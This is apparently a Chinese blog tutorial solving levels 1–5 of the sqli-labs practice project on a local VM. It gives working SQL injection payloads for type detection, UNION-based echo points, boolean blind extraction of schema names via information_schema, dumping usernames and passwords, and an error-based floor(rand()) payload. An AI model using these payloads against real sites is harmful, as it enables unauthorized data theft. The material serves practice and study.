SQL注入的实操(一)less1-5

网安 · 2021-12-01 · 102 人浏览
SQL注入的实操(一)less1-5

一、实操环境

1、操作系统

  1. VMware虚拟机创建的win10系统
  2. 内存8GB
  3. 硬盘255GB
  4. 处理器AMD Ryzen 9 5900HX

2、操作项目

==sql-lib项目,本篇文章介绍关卡1-5。==

3、工具版本

  1. phpstudy 8.1.1.3
  2. php版本 5.4.45nts
  3. Apache2.4.39
  4. MySQL5.7.26
  5. Chrome

4、SQL注入目的

  1. 判断是否允许注入
  2. 判断注入点类型
  3. 判断回显点
  4. 获取数据库信息
  5. 获取表信息
  6. 获取字段信息

二、less-1

## 1. 判断注入类型

首先输入?id=1。
在这里插入图片描述
输入?id=1'
在这里插入图片描述
输入?id=1' --+,语句正常,输入?id=1 and 1=1以及?id=1 and 1=2都正常,说明是==单引号字符型注入==。

  1. 判断字段数。
    输入?id=1' order by 3--+,正常显示,输入?id=1' order by 4--+,报错,所以有三列数据。
    在这里插入图片描述
    在这里插入图片描述
  2. 获取回显点
    输入?id=796(==这里是不存在的id==)' union select 1,2,3 --+ ,这里正常显示,所以有三列数据,有两个显示位。
    在这里插入图片描述
  3. 获取数据库信息
    (1)获取数据库名长度
    输入id=1' and length(database())=8(==这里是猜测,可以换==)--+,如果正确,则会正常显示,如果错误,则会返回空,这里可以知道数据库的名字长度为8。
    在这里插入图片描述

(2)获取数据库名
输入?id=1' and ascii(substr(database(),1,1))=115(==这个是ascii码,可以换==)--+,如果正确,则会正常显示,如果错误,则会返回空,根据上一条获取的数据库名字长度,对substr截取的位置进行更改,可以查询到完整的数据库名字,这里的数据库名字为security。
在这里插入图片描述

  1. 获取表信息
    (1)首先获取表名长度。
    输入?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+。(==这里是从security库中截取第一个表,并判断该表的名字长度,如果符合上面填的6,则返回正常,否则返回空==)
    在这里插入图片描述
    (2)获取表名。
    和数据库名字一样,可以用ascii码判断,也可以直接用等于判断,这里输入?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+。最后匹配完成全字符第一个表是emails。
    在这里插入图片描述
  2. 获取字段信息
    这里输入?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+。==这里查询的是security库中,users表中的第一个字段的对应ascii码是否为105,如果是,则返回正常,否则返回为空。
    在这里插入图片描述
    最后可以输入?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+。来获取到详细信息。
    在这里插入图片描述

三、less-2

  1. 判断注入类型
    输入?id=1 and 1=1--+返回正常,输入?id=1 and 1=2--+返回为空,所以判断为数字型注入。
  2. 判断回显点
    在这里插入图片描述
    发现这个表有三列。
  3. 获取数据库信息
    ==和第一关一样,但要注意把?id=1后面的单引号去掉,因为本关是数字型注入。==
  4. 获取表信息
    ==和第一关一样,但要注意把?id=1后面的单引号去掉,因为本关是数字型注入。==
  5. 获取字段信息
    ==和第一关一样,但要注意把?id=1后面的单引号去掉,因为本关是数字型注入。==

四、less-3

  1. 判断注入类型
    输入?id=1 正常显示,输入?id=1' 报错。
    在这里插入图片描述
    从报错信息可用发现1被('')包裹,所以只需要将')注释掉即可,输入?id=1')--+。返回正常。
    在这里插入图片描述
  2. 判断回显点
    输入?id=1') order by 3--+,正常显示,输入4报错。在这里插入图片描述
  3. 获取数据库信息
    获取数据库名字长度。
    在这里插入图片描述

获取数据库名字。在这里插入图片描述

  1. 获取表信息
    获取表名长度。
    在这里插入图片描述
    获取表名。
    在这里插入图片描述
  2. 获取字段信息
    在这里插入图片描述
    在这里插入图片描述

五、less-4

  1. 判断注入类型
    输入?id=1,可以发现1被(“”)包裹,所以我们只需要将”)注释掉即可,这里输入?id=1")--+即可。
    在这里插入图片描述
  2. 判断回显点
    在这里插入图片描述
  3. 获取数据库信息
    库名长度。在这里插入图片描述
    库名。
    在这里插入图片描述
  4. 获取表信息
    获取表长度。
    在这里插入图片描述
    获取表名。
    在这里插入图片描述
  5. 获取字段信息
    这里的table_name可以去掉了。在这里插入图片描述在这里插入图片描述

六、less-5

  1. 判断注入类型
    首先输入?id=1,发现显示You are in....,如果输入?id=1',则会报错,所以我们先将'注释掉。
    在这里插入图片描述
  2. 判断回显点
    在这里插入图片描述
  3. 获取数据库信息
    可以获取到数据库名长度
    在这里插入图片描述
    也可以根据判断,猜出数据库名。
    在这里插入图片描述
  4. 获取表信息
    表名长度。
    在这里插入图片描述
    表名。
    在这里插入图片描述
  5. 获取字段信息
    在这里插入图片描述
    但是在让其打印全部信息时出现了问题,因为他只会返回You are in...。这里我们可以使用?id=-1' union select count(),1,concat('~',(select concat_ws('[',password,username) from users limit 0,1),'~',floor(rand()2)) as a from information_schema.tables group by a--+。让其将我们要查找的信息在报错信息中返回。
    在这里插入图片描述

七、总结与小计

以上是sql-lib的1-5关关卡,需要有一定mysql基础和计算机思维能力,如果有什么错误请大家在评论区留言,感谢。

sql
Theme Jasmine by Kent Liao 京ICP备2023023335号-2京公网安备11010802044340号